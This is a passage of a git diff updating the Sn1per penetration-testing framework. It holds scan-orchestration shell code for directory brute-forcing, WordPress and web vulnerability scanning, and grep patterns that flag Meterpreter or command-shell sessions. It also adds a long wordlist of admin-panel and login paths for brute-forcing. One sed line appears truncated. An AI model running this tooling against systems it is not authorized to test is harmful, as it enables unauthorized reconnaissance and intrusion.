"${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-exploits.txt -fw -r fi fi - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt" fi fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null fi wget https://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-https.txt 2> /dev/null - if [ "$CLUSTERD" == "1" ]; then + if [[ "$CLUSTERD" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" clusterd --ssl -i $TARGET -p $PORT 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-port$PORT.txt fi - if [ "$CMSMAP" == "1" ]; then + if [[ "$CMSMAP" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING CMSMAP $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -272,7 +272,7 @@ if [ "$MODE" = "webporthttps" ]; then cmsmap https://$TARGET:$PORT/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTb.txt echo "" fi - if [ "$WPSCAN" == "1" ]; then + if [[ "$WPSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -280,20 +280,20 @@ if [ "$MODE" = "webporthttps" ]; then echo "" wpscan --url https://$TARGET:$PORT/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTb.txt fi - if [ "$NIKTO" == "1" ]; then + if [[ "$NIKTO" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" nikto -h https://$TARGET:$PORT -output $LOOT_DIR/web/nikto-$TARGET-https-port$PORT.txt sed -ir "s/ /dev/null rm -f $INSTALL_DIR/.fuse_* 2> /dev/null VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null) - if [ ${#VULNERABLE_METASPLOIT} -ge 5 ]; then + if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then echo "$VULNERABLE_METASPLOIT" > $LOOT_DIR/output/vulnerable-metasploit-$TARGET.txt 2> /dev/null fi VULNERABLE_SHELLSHOCK=$(egrep -h -i -s "The following URLs appear to be exploitable:" $LOOT_DIR/web/shocker-$TARGET-*.txt 2> /dev/null) - if [ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]; then + if [[ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]]; then echo "$VULNERABLE_SHELLSHOCK" > $LOOT_DIR/output/vulnerable-shellshock-$TARGET.txt 2> /dev/null fi SHELLED=$(egrep -h -i -s "Meterpreter session|Command executed|File(s) found:|Command Stager progress|File uploaded|Command shell session" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null) - if [ ${#SHELLED} -ge 5 ]; then + if [[ ${#SHELLED} -ge 5 ]]; then echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null fi - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/modes/webscan.sh b/modes/webscan.sh index 962b4d7..a90e017 100644 --- a/modes/webscan.sh +++ b/modes/webscan.sh @@ -1,4 +1,4 @@ -if [ "$MODE" = "webscan" ]; then +if [[ "$MODE" = "webscan" ]]; then echo -e "$OKRED ____ $RESET" echo -e "$OKRED _________ / _/___ ___ _____$RESET" echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" @@ -46,10 +46,10 @@ if [ "$MODE" = "webscan" ]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "$TARGET" >> $LOOT_DIR/domains/targets.txt touch $LOOT_DIR/scans/$TARGET-webscan.txt 2> /dev/null - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi - if [ "$BURP_SCAN" == "1" ]; then + if [[ "$BURP_SCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -68,13 +68,18 @@ if [ "$MODE" = "webscan" ]; then echo "[i] STATUS: $BURP_STATUS_FULL" sleep 15 done - echo "[+] VULNERABILITIES: " - echo "----------------------------------------------------------------" - curl -s "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | grep -o -P "name.{1,100}" | cut -d\" -f3 | sort -u | grep -Ev 'caption|evidence' | tee $LOOT_DIR/web/burpsuite-$TARGET-$a.txt done + + echo "[+] VULNERABILITIES: " + echo "----------------------------------------------------------------" + for a in {1..30}; + do + curl -s "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | jq '.issue_events[].issue | "[" + .severity + "] " + .name + " - " + .origin + .path' | sort -u | sed 's/\"//g' | tee $LOOT_DIR/web/burpsuite-$TARGET-$a.txt + done + echo "[-] Done!" fi - if [ "$ARACHNI_SCAN" == "1" ]; then + if [[ "$ARACHNI_SCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ARACHNI SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -83,7 +88,7 @@ if [ "$MODE" = "webscan" ]; then arachni --report-save-path=$LOOT_DIR/web/http-$TARGET/ --output-only-positives http://$TARGET | tee $LOOT_DIR/output/sniper-$TARGET-webscan-http-`date +"%Y%m%d%H%M"`.txt 2>&1 arachni --report-save-path=$LOOT_DIR/web/https-$TARGET/ --output-only-positives https://$TARGET | tee $LOOT_DIR/output/sniper-$TARGET-webscan-https-`date +"%Y%m%d%H%M"`.txt 2>&1 - if [ "$SLACK_NOTIFICATIONS_ARACHNI_SCAN" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_ARACHNI_SCAN" == "1" ]]; then bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/output/sniper-$TARGET-webscan-http-`date +"%Y%m%d%H%M"`.txt" bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/output/sniper-$TARGET-webscan-https-`date +"%Y%m%d%H%M"`.txt" fi @@ -99,7 +104,7 @@ if [ "$MODE" = "webscan" ]; then fi echo "$TARGET" >> $LOOT_DIR/scans/updated.txt loot - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/sniper b/sniper index c8be3dd..9e142c0 100755 --- a/sniper +++ b/sniper @@ -3,7 +3,7 @@ # + -- --=[https://xerosecurity.com # -VER="8.0" +VER="8.1" INSTALL_DIR="/usr/share/sniper" LOOT_DIR="$INSTALL_DIR/loot/$TARGET" SNIPER_PRO=$INSTALL_DIR/pro.sh @@ -12,7 +12,7 @@ SNIPER_PRO=$INSTALL_DIR/pro.sh service postgresql start # LOAD SNIPER CONFIGURATION FILE -if [ -f ~/.sniper.conf ]; then +if [[ -f ~/.sniper.conf ]]; then source ~/.sniper.conf echo -e "$OKBLUE[*]$RESET Loaded configuration file from ~/.sniper.conf $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" else @@ -129,9 +129,9 @@ function sniper_status { } function check_online { - if [ ! -z "$ONLINE" ]; then + if [[ ! -z "$ONLINE" ]]; then ONLINE=$(curl --connect-timeout 3 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13) - if [ -z "$ONLINE" ]; then + if [[ -z "$ONLINE" ]]; then ONLINE="0" echo -e "$OKBLUE[*]$RESET Checking for active internet connection $OKBLUE[$RESET${OKRED}FAIL${RESET}$OKBLUE]" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET sniper is running in offline mode.$RESET" @@ -143,9 +143,9 @@ function check_online { } function check_update { - if [ "$ENABLE_AUTO_UPDATES" == "1" ] && [ "$ONLINE" == "1" ]; then + if [[ "$ENABLE_AUTO_UPDATES" == "1" ]] && [[ "$ONLINE" == "1" ]]; then LATEST_VER=$(curl --connect-timeout 5 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13) - if [ "$LATEST_VER" != "$VER" ]; then + if [[ "$LATEST_VER" != "$VER" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE] sniper v$LATEST_VER is available to download... To update, type$OKRED \"sniper -u\" $RESET" fi fi @@ -154,14 +154,14 @@ function check_update { function update { logo echo -e "$OKBLUE[*]$RESET Checking for updates...$OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" - if [ "$ONLINE" == "0" ]; then + if [[ "$ONLINE" == "0" ]]; then echo "You will need to download the latest release manually at https://github.com/1N3/Sn1per/" else LATEST_VER=$(curl --connect-timeout 5 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13) - if [ "$LATEST_VER" != "$VER" ]; then + if [[ "$LATEST_VER" != "$VER" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE] Sn1per $LATEST_VER is available to download...Do you want to update? (y or n)$RESET" read ans - if [ "$ans" = "y" ]; then + if [[ "$ans" = "y" ]]; then rm -Rf /tmp/Sn1per/ 2>/dev/null git clone https://github.com/1N3/Sn1per /tmp/Sn1per/ cd /tmp/Sn1per/ @@ -174,7 +174,7 @@ function update { fi } -if [ "$UPDATE" = "1" ]; then +if [[ "$UPDATE" = "1" ]]; then update exit fi @@ -254,12 +254,12 @@ case $key in shift # past argument ;; -s|--schedule) - if [ -z "$WORKSPACE" ]; then + if [[ -z "$WORKSPACE" ]]; then echo "You need to set a workspace via the -w switch to schedule a scan task." exit fi SCHEDULE_ARG="$2" - if [ "$SCHEDULE_ARG" = "daily" ] || [ "$SCHEDULE_ARG" = "weekly" ] || [ "$SCHEDULE_ARG" = "monthly" ]; then + if [[ "$SCHEDULE_ARG" = "daily" ]] || [[ "$SCHEDULE_ARG" = "weekly" ]] || [[ "$SCHEDULE_ARG" = "monthly" ]]; then SCHEDULE_TASK="$WORKSPACE_DIR/scans/scheduled/$SCHEDULE_ARG.sh" vim $SCHEDULE_TASK cat $WORKSPACE_DIR/scans/scheduled/*.sh 2> /dev/null @@ -283,9 +283,13 @@ case $key in ;; -dh|--delete-host) echo "Removing $TARGET from $WORKSPACE" - sed -i "/$TARGET/d" $WORKSPACE_DIR/domains/targets-all-sorted.txt $WORKSPACE_DIR/domains/domains-all-sorted.txt $WORKSPACE_DIR/domains/targets.txt $WORKSPACE_DIR/nmap/livehosts-sorted.txt 2> /dev/null + sed -i "/$TARGET/d" $WORKSPACE_DIR/domains/targets-all-sorted.txt $WORKSPACE_DIR/domains/domains-all-sorted.txt $WORKSPACE_DIR/domains/targets.txt $WORKSPACE_DIR/nmap/livehosts-sorted.txt $WORKSPACE_DIR/domains/targets-all-unscanned.txt $WORKSPACE_DIR/reports/host-table-report.csv rm -f $WORKSPACE_DIR/screenshots/$TARGET*.jpg 2> /dev/null - sniper --reimport -w $WORKSPACE + rm -f $WORKSPACE_DIR/nmap/dns-$TARGET.txt 2> /dev/null + rm -f $WORKSPACE_DIR/nmap/ports-$TARGET.txt 2> /dev/null + rm -f $WORKSPACE_DIR/web/title-*-$TARGET.txt 2> /dev/null + rm -f $WORKSPACE_DIR/web/headers-*-$TARGET.txt 2> /dev/null + sniper --reimportall -w $WORKSPACE exit shift # past argument ;; @@ -295,7 +299,7 @@ case $key in echo "" echo "cd /usr/share/sniper/loot/workspace/" WORKSPACE_REPORT=$LOOT_DIR/sniper-report.html - if [ -f $WORKSPACE_REPORT ]; then + if [[ -f $WORKSPACE_REPORT ]]; then echo -e "$OKORANGE + -- --=[ Loading Sn1per Professional...$RESET" $BROWSER $INSTALL_DIR/loot/workspace/sniper-report.html 2> /dev/null > /dev/null & else @@ -326,11 +330,11 @@ esac done set -- "${POSITIONAL[@]}" # restore positional parameters -if [ ! -z "$TARGET" ] && [ -z "$WORKSPACE" ]; then +if [[ ! -z "$TARGET" ]] && [[ -z "$WORKSPACE" ]]; then WORKSPACE=$(echo "$TARGET") fi -if [ -z "$TARGET" ] && [ -z "$WORKSPACE" ]; then +if [[ -z "$TARGET" ]] && [[ -z "$WORKSPACE" ]]; then logo echo "You need to specify a target or workspace to use. Type sniper --help for command usage." exit @@ -339,7 +343,7 @@ fi cd $INSTALL_DIR function init { - if [ ! -z $WORKSPACE_DIR ]; then + if [[ ! -z $WORKSPACE_DIR ]]; then LOOT_DIR=$WORKSPACE_DIR fi echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -366,22 +370,22 @@ function init { rm -f $UPDATED_TARGETS 2> /dev/null touch $UPDATED_TARGETS 2> /dev/null - if [ "$AUTOBRUTE" == "1" ]; then + if [[ "$AUTOBRUTE" == "1" ]]; then echo "$TARGET autobrute `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt touch $LOOT_DIR/scans/$TARGET-autobrute.txt 2> /dev/null fi - if [ "$FULLNMAPSCAN" == "1" ]; then + if [[ "$FULLNMAPSCAN" == "1" ]]; then echo "$TARGET fullnmapscan `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt touch $LOOT_DIR/scans/$TARGET-fullnmapscan.txt 2> /dev/null fi - if [ "$OSINT" == "1" ]; then + if [[ "$OSINT" == "1" ]]; then echo "$TARGET osint `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt touch $LOOT_DIR/scans/$TARGET-osint.txt 2> /dev/null fi - if [ "$RECON" == "1" ]; then + if [[ "$RECON" == "1" ]]; then echo "$TARGET recon `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt touch $LOOT_DIR/scans/$TARGET-recon.txt 2> /dev/null fi @@ -395,15 +399,18 @@ function loot { echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" echo -e "$OKRED /_/ $RESET" echo "" - if [ ! -z $WORKSPACE_DIR ]; then + if [[ ! -z $WORKSPACE_DIR ]]; then LOOT_DIR=$WORKSPACE_DIR fi + rm -f $INSTALL_DIR/stash.sqlite 2> /dev/null + rm -f $INSTALL_DIR/hydra.restore 2> /dev/null + echo -e "$OKBLUE[*]$RESET Opening loot directory $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" cd $LOOT_DIR - if [ "$METASPLOIT_IMPORT" == "1" ]; then + if [[ "$METASPLOIT_IMPORT" == "1" ]]; then echo -e "$OKORANGE + -- --=[ Starting Metasploit service...$RESET" /etc/init.d/metasploit start 2> /dev/null > /dev/null msfdb start @@ -435,13 +442,13 @@ function loot { for TARGET in `cat $WORKSPACE_DIR/scans/updated.txt`; do echo -n "|" HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null) - if [ ${#HOST_UP} -ge 2 ]; then + if [[ ${#HOST_UP} -ge 2 ]]; then echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null fi rm -f $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null - if [ ${#PORT} -ge 2 ]; then + if [[ ${#PORT} -ge 2 ]]; then echo "$TARGET" >> $LOOT_DIR/nmap/openports-unsorted.txt 2> /dev/null fi done @@ -479,25 +486,25 @@ function loot { find $LOOT_DIR/screenshots/ -type f -size -9000c -exec rm -f {} \; find $LOOT_DIR/nmap/ -type f -size -1c -exec rm -f {} \; cd $LOOT_DIR - if [ -f $SNIPER_PRO ]; then - if [ -f "$LOOT_DIR/notes/notepad.html" ]; then + if [[ -f $SNIPER_PRO ]]; then + if [[ -f "$LOOT_DIR/notes/notepad.html" ]]; then echo -n "" 2>/dev/null else cp "$INSTALL_DIR/pro/notepad.html" "$LOOT_DIR/notes/notepad.html" 2>/dev/null PRE_NAME=$(echo $WORKSPACE | sed "s/\./-/g") sed -i "s/notepad/notepad-$PRE_NAME/g" "$LOOT_DIR/notes/notepad.html" 2> /dev/null fi - if [ "$SN1PER_AUTOLOAD" = "1" ]; then + if [[ "$SN1PER_AUTOLOAD" = "1" ]]; then echo -e "$OKORANGE + -- --=[ Loading Sn1per Professional...$RESET" source $INSTALL_DIR/pro.sh $BROWSER $LOOT_DIR/sniper-report.html 2> /dev/null > /dev/null & - elif [ "$SN1PER_AUTOLOAD" = "0" ]; then + elif [[ "$SN1PER_AUTOLOAD" = "0" ]]; then echo -e "$OKORANGE + -- --=[ Generating Sn1per Professional reports...$RESET" source $INSTALL_DIR/pro.sh else echo -e "$OKORANGE + -- --=[ Do you want to load Sn1per Professional (y or n)? $RESET" read ANS - if [ "$ANS" == "y" ]; then + if [[ "$ANS" == "y" ]]; then echo -e "$OKORANGE + -- --=[ Loading Sn1per Professional...$RESET" source $INSTALL_DIR/pro.sh $BROWSER $LOOT_DIR/sniper-report.html 2> /dev/null > /dev/null & @@ -512,15 +519,15 @@ function loot { echo -e "$OKORANGE + -- --=[ Done!$RESET" } -if [ "$REIMPORT" = "1" ]; then - if [ ! -z "$WORKSPACE_DIR" ]; then +if [[ "$REIMPORT" = "1" ]]; then + if [[ ! -z "$WORKSPACE_DIR" ]]; then loot exit fi fi -if [ "$REIMPORT_ALL" = "1" ]; then - if [ ! -z "$WORKSPACE_DIR" ]; then +if [[ "$REIMPORT_ALL" = "1" ]]; then + if [[ ! -z "$WORKSPACE_DIR" ]]; then sort -u $WORKSPACE_DIR/domains/targets-all-sorted.txt $WORKSPACE_DIR/domains/domains-all-sorted.txt > $WORKSPACE_DIR/scans/updated.txt rm -f $WORKSPACE_DIR/nmap/openports-unsorted.txt 2> /dev/null rm -f $WORKSPACE_DIR/nmap/openports-sorted.txt 2> /dev/null @@ -530,8 +537,8 @@ if [ "$REIMPORT_ALL" = "1" ]; then fi fi -if [ "$RELOAD" = "1" ]; then - if [ ! -z "$WORKSPACE_DIR" ]; then +if [[ "$RELOAD" = "1" ]]; then + if [[ ! -z "$WORKSPACE_DIR" ]]; then $BROWSER $WORKSPACE_DIR/sniper-report.html 2> /dev/null > /dev/null & exit fi diff --git a/sniper.conf b/sniper.conf index f54eedf..2822ed5 100644 --- a/sniper.conf +++ b/sniper.conf @@ -76,6 +76,7 @@ SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" # WEB BRUTE FORCE WORDLISTS WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" +WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt" WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt" WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt" WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,sql,txt,md,zip,jar,tar.gz,conf,swp,xml,ini,yml,cgi,pl,js,json" @@ -102,7 +103,7 @@ TOP_1000_PORTS="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,5 DEFAULT_UDP_PORTS="53,67,68,69,88,123,161,162,137,138,139,389,500,520,2049" FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" -THREADS="30" +THREADS="20" # NETWORK PLUGINS NMAP_SCRIPTS="1" @@ -150,6 +151,7 @@ WEBTECH="1" # ACTIVE WEB BRUTE FORCE STAGES WEB_BRUTE_STEALTHSCAN="1" +WEB_BRUTE_COMMONSCAN="1" WEB_BRUTE_FULLSCAN="1" WEB_BRUTE_EXPLOITSCAN="1" @@ -177,8 +179,8 @@ PROJECT_SONAR="1" CENSYS_SUBDOMAINS="0" SUBNET_RETRIEVAL="1" SUBJACK="1" -ALT_DNS="1" -MASS_DNS="1" -DNSGEN="1" +ALT_DNS="0" +MASS_DNS="0" +DNSGEN="0" SHODAN="0" ASN_CHECK="1" diff --git a/wordlists/web-brute-common.txt b/wordlists/web-brute-common.txt index bb77c7c..f5c415f 100644 --- a/wordlists/web-brute-common.txt +++ b/wordlists/web-brute-common.txt @@ -4623,3 +4623,577 @@ zoom zope zorum zt +admin/ +admin.asp/ +admin/admin.asp/ +admin.aspx/ +admin/admin.aspx/ +admin.php/ +administrator/ +login.php +admin.php +user/ +usuarios/ +usuario/ +Admin/ +cpanel/ +phpmyadmin/ +dashboard +cms/ +users/ +wp-login.php/ +admin/login +auth/login/ +moderator/ +webadmin/ +webmaster/ +adminarea/ +bb-admin/ +wp-admin/ +wp-login/ +wp-admin.php +userlogin/ +logins/ +login.html +adminLogin/ +admin_area/ +panel-administracion/ +instadmin/ +memberadmin/ +administratorlogin/ +panel/ +forum/admin +adm/ +cp/ +vue-element-admin +admin/cp.php +cp.php +admincontrol/ +admincp/ +admin/account.php +admin/index.php +admin/login.php +admin/admin.php +admin_area/admin.php +admin_area/login.php +siteadmin/login.php +siteadmin/index.php +siteadmin/login.html +admin/account.html +admin/index.html +admin/login.html +admin/admin.html +admin_area/index.php +dashboard.html +dashboard.php +bb-admin/index.php +bb-admin/login.php +bb-admin/admin.php +admin/home.php +admin_area/login.html +admin_area/index.html +admin/controlpanel.php +admincp/index.asp +admincp/login.asp +admincp/index.html +adminpanel.html +webadmin.html +webadmin/index.html +webadmin/admin.html +webadmin/login.html +admin/admin_login.html +admin_login.html +panel-administracion/login.html +administrator/index.php +administrator/login.php +nsw/admin/login.php +webadmin/login.php +admin/admin_login.php +admin_login.php +administrator/account.php +administrator.php +admin_area/admin.html +pages/admin/ +pages/admin/admin-login.php +admin/admin-login.php +admin-login.php +members/ +bb-admin/index.html +bb-admin/login.html +acceso.php +bb-admin/admin.html +admin/home.html +modelsearch/login.php +moderator.php +moderator/login.php +moderator/admin.php +account.php +pages/admin/admin-login.html +admin/admin-login.html +admin-login.html +controlpanel.php +admincontrol.php +admin/adminLogin.html +adminLogin.html +home.html +rcjakar/admin/login.php +adminarea/index.html +adminarea/admin.html +webadmin.php +webadmin/index.php +webadmin/admin.php +admin/controlpanel.html +admin.html +admin/cp.html +cp.html +adminpanel.php +moderator.html +administrator/index.html +administrator/login.html +user.html +administrator/account.html +administrator.html +modelsearch/login.html +moderator/login.html +adminarea/login.html +panel-administracion/index.html +panel-administracion/admin.html +modelsearch/index.html +modelsearch/admin.html +admincontrol/login.html +adm/index.html +adm.html +moderator/admin.html +user.php +account.html +controlpanel.html +admincontrol.html +panel-administracion/login.php +wp-login.php +adminLogin.php +admin/adminLogin.php +home.php +adminarea/index.php +adminarea/admin.php +adminarea/login.php +panel-administracion/index.php +panel-administracion/admin.php +modelsearch/index.php +modelsearch/admin.php +admincontrol/login.php +adm/admloginuser.php +admloginuser.php +admin2.php +admin2/login.php +admin2/index.php +usuarios/login.php +adm/index.php +adm.php +affiliate.php +adm_auth.php +memberadmin.php +administratorlogin.php +admin. +login. +login1. +panel. +admin1. +admin2. +admin3. +admin4. +moderator. +webadmin. +user. +administration/ +mag/admin/ +joomla/administrator/ +manager/ +adminpanel/ +controlpanel/ +logon/ +auth/ +apanel/ +a/ +acart/ +access/ +account/ +achievo/ +address/ +admins/ +0admin/ +admin1/ +admin2/ +admin3/ +admin4/ +admin5/ +_adm_/ +_admin_/ +_administrator_/ +_adm/ +_admin/ +achtung/ +_administrator/ +AdminWeb/ +administration.php +links/login.php +cms/_admin/logon.php +typo3/ +pma/ +cms/login/ +access.php +sysadm.php +adm2/ +include/admin.php +admin/moderator.php +interactive/admin.php +edit.php +siteadmin/ +hcaadmin.php +svn/ +blog/wp-login.php +admin/log.php +login/login.php +adminka.php +wholesale-login.php +authorize.php +editor/ +base/admin/ +includes/login.php +site_admin/login.php +statredir/ +lists/admin/ +sec/login.php +bitrix/admin/ +admin_tool/ +cabinet/ +klarnetCMS/ +debug/rus/autorisation/ +cms/admin/ +Admin/private/ +site/admin/ +admen/ +admin2/index/ +db/admin.php +admin/adm.php +admin/admin/ +manager/ispmgr/ +phpMyAdmin/ +login.aspx/ +admin/login.asp +admin/login.aspx/ +moderator/admin.asp/ +webadmin.asp/ +webadmin/admin.asp/ +author/Admin.aspx/ +admin/userAdmin.aspx/ +dbadmin/ +AdministratorS/Admin.aspx/ +admin/secure/admin.aspx/ +bb-admin/admin.asp/ +processlogin.php/ +0manager/ +acceso.asp/ +acceso.aspx/ +account.asp/ +account.aspx/ +wp-login.asp/ +wp-login.aspx/ +admin_login/ +admin-login/ +modelsearch/ +nsw/ +rcjakar/ +private.php/ +_vti_pvt/ +_private/ +admin1.php +admin2.html +yonetim.php +yonetim.html +yonetici.php +yonetici.html +admin1.asp +admin2.asp +yonetim.asp +yonetici.asp +admin/index.asp +admin/home.asp +admin/controlpanel.asp +sysadmin.php +sysadmin.html +sysadmin/ +ur-admin.asp +ur-admin.php 